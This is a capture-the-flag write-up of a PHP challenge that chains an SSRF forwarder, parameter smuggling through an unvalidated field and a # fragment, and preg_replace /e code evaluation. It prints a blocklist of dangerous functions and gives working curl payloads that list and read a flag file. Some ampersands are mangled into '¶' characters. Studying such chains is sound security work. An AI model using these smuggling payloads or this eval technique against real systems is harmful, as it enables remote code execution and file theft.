Two servers, one of them hidden
The challenge hands you a public endpoint, api.php, and nothing else. Behind it, not exposed, there’s a second PHP server on 127.0.0.1:8000. The public one is a validator and a forwarder:
function is_valid_pattern($pattern) {
return strpos($pattern, 'e') === false;
}
$payload = $_GET['param1'];
if (isset($payload)) {
$pattern = $_GET['param2'];
if (is_valid_pattern($pattern)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,
"http://127.0.0.1:8000/?param1=$payload¶m2=$pattern");
// ... curl_exec, echo $result
} else {
die("Invalid pattern");
}
} So it takes my param1 and param2, checks that param2 contains no letter e, and if that passes it curls an internal server with both values glued into the URL by string interpolation. Whatever the internal server says, it echoes back to me. That’s an SSRF, but a friendly one: it hands me the response.
What’s on the inside
The internal server is the actual target:
$payload = $_GET['param1'];
$pattern = $_GET['param2'];
if (!empty($pattern)) {
if (danger($payload)) {
die("Error: Payload contains dangerous functions.");
} else {
echo preg_replace($pattern, $payload, $text);
}
} preg_replace($pattern, $payload, $text), where $text is a fixed "Hello World! To AkaSec CTF". The pattern is fully attacker-controlled. And this is old PHP, which means the /e modifier is on the table.
If you haven’t met it: preg_replace with the /e flag doesn’t treat the replacement as a string, it evals it as PHP. It was deprecated in 5.5 and removed in 7.0 for exactly the reason you’d guess. If I can get /Something/e into that pattern with matching text, my payload runs as code.
The parameter the validator ignores
Here’s the mismatch. The public server checks param2 for the letter e. But I need /e in the pattern, which lives in param2. Put it there directly and is_valid_pattern kills it.
Except the public server builds the internal URL by dumb string interpolation:
http://127.0.0.1:8000/?param1=$payload¶m2=$pattern param1 is never validated. So I smuggle my own param2 inside param1, and I use a # to throw away the real one. Set:
param1=<php code>¶m2=/Hello/e#xparam2=/World/i(noe, sails through validation)
The interpolated URL becomes:
http://127.0.0.1:8000/?param1=<php code>¶m2=/Hello/e#x¶m2=/World/i curl strips everything from the # onward before it sends the request, so the original param2=/World/i never leaves the box. The internal server receives:
param1=<php code>¶m2=/Hello/e /Hello/e matches Hello in the fixed text, the /e modifier evaluates my param1 as PHP, and I have execution. The one parameter nobody checked is the one that carries the payload.
The blocklist, and what it forgot
The internal server does try to stop this, with a blocklist:
function danger($payload) {
return preg_match('/exec|passthru|shell_exec|system|proc_open|popen|'
.'curl_exec|curl_multi_exec|parse_ini_file|readfile|require|'
.'require_once|include|include_once|print|find|file|`|config|'
.'var_dump|dir/', $payload);
} That’s a lot of ways to run a command or read a file, and it blocks all of them. It also blocks file, readfile, dir, backticks. But a blocklist only stops what’s on it, and PHP has more than one way to touch the filesystem. Nothing here blocks glob, scandir, show_source, highlight_file, or implode. That’s plenty.
First, find the flag file. It’s named with a random suffix, so I list it:
curl "http://target/api.php?param1=implode(',',glob('flag*.php'))%26param2=/Hello/e%23x¶m2=/World/i" glob('flag*.php') comes back with flag68475eb4ca436b06.php. Then read it, using show_source, which the blocklist doesn’t mention:
curl "http://target/api.php?param1=show_source('flag68475eb4ca436b06.php')%26param2=/Hello/e%23x¶m2=/World/i" The internal server dumps the file’s source back through the SSRF, the public server echoes it to me, and the flag is in it.
Why it worked
Three things had to line up, and each is a familiar mistake on its own. The validator checked one of two inputs and trusted the other, so the check was decoration. The internal server used preg_replace with /e, a feature that has been gone from PHP for two major versions and never should have been reachable. And the defense against that was a blocklist, which is a promise to enumerate every dangerous function forever. It missed glob and show_source, and that’s all it takes. Allowlisting is the version of that promise you can actually keep.